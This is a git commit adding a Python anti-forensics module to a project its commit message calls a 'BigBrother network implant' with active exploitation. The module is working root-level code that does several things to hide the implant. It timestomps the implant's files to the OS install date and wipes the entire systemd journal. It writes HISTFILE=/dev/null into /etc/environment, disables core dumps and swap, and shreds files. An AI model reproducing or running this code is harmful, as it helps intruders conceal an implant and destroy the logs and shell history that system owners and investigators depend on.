Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,293 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Anti-forensics module: timestomping, core dump suppression, swap disable,
|
||||
journal cleaning, history suppression, secure deletion."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.stealth import (
|
||||
disable_core_dumps,
|
||||
hide_from_history,
|
||||
set_sysctl,
|
||||
timestomp,
|
||||
timestomp_recursive,
|
||||
_get_os_install_time,
|
||||
)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# SystemMonitor install root (default; overridden by config)
|
||||
BB_ROOT = "/opt/.cache/bb"
|
||||
|
||||
|
||||
class AntiForensics(BaseModule):
|
||||
"""Apply anti-forensic hardening: timestomp, swap off, core dumps off,
|
||||
journal vacuum, history suppression, bettercap tmpfs home."""
|
||||
|
||||
name = "anti_forensics"
|
||||
module_type = "stealth"
|
||||
priority = -400
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._measures: dict[str, bool] = {
|
||||
"timestomp": False,
|
||||
"core_dumps_disabled": False,
|
||||
"swap_disabled": False,
|
||||
"journal_cleaned": False,
|
||||
"history_suppressed": False,
|
||||
"bettercap_tmpfs_home": False,
|
||||
}
|
||||
self._bb_root = config.get("bb_root", BB_ROOT)
|
||||
self._timestomp_ref = config.get("timestomp_reference", "/etc/os-release")
|
||||
self._files_stomped = 0
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
logger.info("AntiForensics starting — applying all measures")
|
||||
|
||||
self._apply_timestomp()
|
||||
self._disable_core_dumps()
|
||||
self._disable_swap()
|
||||
self._clean_journal()
|
||||
self._suppress_history()
|
||||
self._set_bettercap_tmpfs_home()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("AntiForensics active — measures: %s", self._measures)
|
||||
|
||||
def stop(self) -> None:
|
||||
"""Anti-forensic measures persist intentionally — nothing to undo."""
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("AntiForensics stopped (measures remain in effect)")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"measures": dict(self._measures),
|
||||
"files_stomped": self._files_stomped,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "bb_root" in config:
|
||||
self._bb_root = config["bb_root"]
|
||||
if "timestomp_reference" in config:
|
||||
self._timestomp_ref = config["timestomp_reference"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Timestomping
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _apply_timestomp(self) -> None:
|
||||
"""Timestomp all SystemMonitor files to OS install date."""
|
||||
try:
|
||||
ref_time = self._get_reference_time()
|
||||
if os.path.isdir(self._bb_root):
|
||||
self._files_stomped = timestomp_recursive(
|
||||
self._bb_root, epoch=ref_time,
|
||||
)
|
||||
logger.info("Timestomped %d files under %s", self._files_stomped, self._bb_root)
|
||||
self._measures["timestomp"] = True
|
||||
except Exception:
|
||||
logger.exception("Timestomp failed")
|
||||
self._measures["timestomp"] = False
|
||||
|
||||
def _get_reference_time(self) -> float:
|
||||
"""Determine OS install timestamp for timestomping."""
|
||||
# Try explicit reference first
|
||||
if self._timestomp_ref and os.path.exists(self._timestomp_ref):
|
||||
try:
|
||||
return os.stat(self._timestomp_ref).st_mtime
|
||||
except OSError:
|
||||
pass
|
||||
# Fallback via utils helper
|
||||
return _get_os_install_time()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Core dumps
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _disable_core_dumps(self) -> None:
|
||||
"""Disable core dumps via rlimit, sysctl, and prctl."""
|
||||
try:
|
||||
success = disable_core_dumps()
|
||||
# Also set via ulimit for child processes
|
||||
try:
|
||||
import resource
|
||||
resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
|
||||
except Exception:
|
||||
pass
|
||||
self._measures["core_dumps_disabled"] = success
|
||||
if success:
|
||||
logger.info("Core dumps disabled")
|
||||
else:
|
||||
logger.warning("Core dump disable partially failed")
|
||||
except Exception:
|
||||
logger.exception("Core dump disable failed")
|
||||
self._measures["core_dumps_disabled"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Swap
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _disable_swap(self) -> None:
|
||||
"""Disable all swap to prevent sensitive data hitting disk."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["swapoff", "-a"],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
self._measures["swap_disabled"] = result.returncode == 0
|
||||
if result.returncode == 0:
|
||||
logger.info("Swap disabled (swapoff -a)")
|
||||
else:
|
||||
logger.warning("swapoff -a returned %d: %s",
|
||||
result.returncode, result.stderr.decode(errors="replace"))
|
||||
except FileNotFoundError:
|
||||
logger.warning("swapoff not found")
|
||||
self._measures["swap_disabled"] = False
|
||||
except Exception:
|
||||
logger.exception("Swap disable failed")
|
||||
self._measures["swap_disabled"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Journal cleaning
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _clean_journal(self) -> None:
|
||||
"""Vacuum journal entries that might reference SystemMonitor components."""
|
||||
try:
|
||||
# Vacuum to 1s to remove old entries we may have generated
|
||||
result = subprocess.run(
|
||||
["journalctl", "--vacuum-time=1s"],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
self._measures["journal_cleaned"] = result.returncode == 0
|
||||
if result.returncode == 0:
|
||||
logger.info("Journal vacuumed")
|
||||
except FileNotFoundError:
|
||||
# No systemd journal on this system
|
||||
self._measures["journal_cleaned"] = True
|
||||
except Exception:
|
||||
logger.exception("Journal vacuum failed")
|
||||
self._measures["journal_cleaned"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Shell history suppression
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _suppress_history(self) -> None:
|
||||
"""Set HISTFILE=/dev/null for current and future shells."""
|
||||
try:
|
||||
success = hide_from_history()
|
||||
# Also write to /etc/environment for all sessions
|
||||
try:
|
||||
env_file = Path("/etc/environment")
|
||||
if env_file.exists():
|
||||
content = env_file.read_text()
|
||||
lines_to_add = []
|
||||
if "HISTFILE=" not in content:
|
||||
lines_to_add.append("HISTFILE=/dev/null")
|
||||
if "HISTSIZE=" not in content:
|
||||
lines_to_add.append("HISTSIZE=0")
|
||||
if lines_to_add:
|
||||
with open(env_file, "a") as f:
|
||||
for line in lines_to_add:
|
||||
f.write(f"\n{line}")
|
||||
except PermissionError:
|
||||
pass
|
||||
self._measures["history_suppressed"] = success
|
||||
if success:
|
||||
logger.info("Shell history suppressed")
|
||||
except Exception:
|
||||
logger.exception("History suppression failed")
|
||||
self._measures["history_suppressed"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Bettercap tmpfs home
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _set_bettercap_tmpfs_home(self) -> None:
|
||||
"""Point $HOME to a tmpfs path so bettercap writes ~/.bettercap/ to RAM."""
|
||||
try:
|
||||
tmpfs_home = "/dev/shm/.bb_home"
|
||||
os.makedirs(tmpfs_home, mode=0o700, exist_ok=True)
|
||||
os.environ["HOME"] = tmpfs_home
|
||||
# Create minimal .bettercap dir so bettercap doesn't complain
|
||||
bettercap_dir = os.path.join(tmpfs_home, ".bettercap")
|
||||
os.makedirs(bettercap_dir, mode=0o700, exist_ok=True)
|
||||
self._measures["bettercap_tmpfs_home"] = True
|
||||
logger.info("Bettercap HOME set to tmpfs: %s", tmpfs_home)
|
||||
except Exception:
|
||||
logger.exception("Bettercap tmpfs HOME setup failed")
|
||||
self._measures["bettercap_tmpfs_home"] = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Secure deletion utility
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def secure_delete(path: str, passes: int = 3) -> bool:
|
||||
"""Securely delete a file: 3-pass overwrite (random, zero, random) then unlink.
|
||||
|
||||
Falls back to simple unlink if shred is unavailable.
|
||||
"""
|
||||
if not os.path.isfile(path):
|
||||
return False
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["shred", "-n", str(passes), "-z", "-u", path],
|
||||
capture_output=True, timeout=60,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Fallback: manual overwrite
|
||||
try:
|
||||
size = os.path.getsize(path)
|
||||
with open(path, "r+b") as f:
|
||||
# Pass 1: random
|
||||
f.seek(0)
|
||||
f.write(os.urandom(size))
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
# Pass 2: zeros
|
||||
f.seek(0)
|
||||
f.write(b"\x00" * size)
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
# Pass 3: random
|
||||
f.seek(0)
|
||||
f.write(os.urandom(size))
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
os.unlink(path)
|
||||
return True
|
||||
except Exception:
|
||||
# Last resort: just delete
|
||||
try:
|
||||
os.unlink(path)
|
||||
except OSError:
|
||||
return False
|
||||
return True
|
||||
Reference in New Issue
Block a user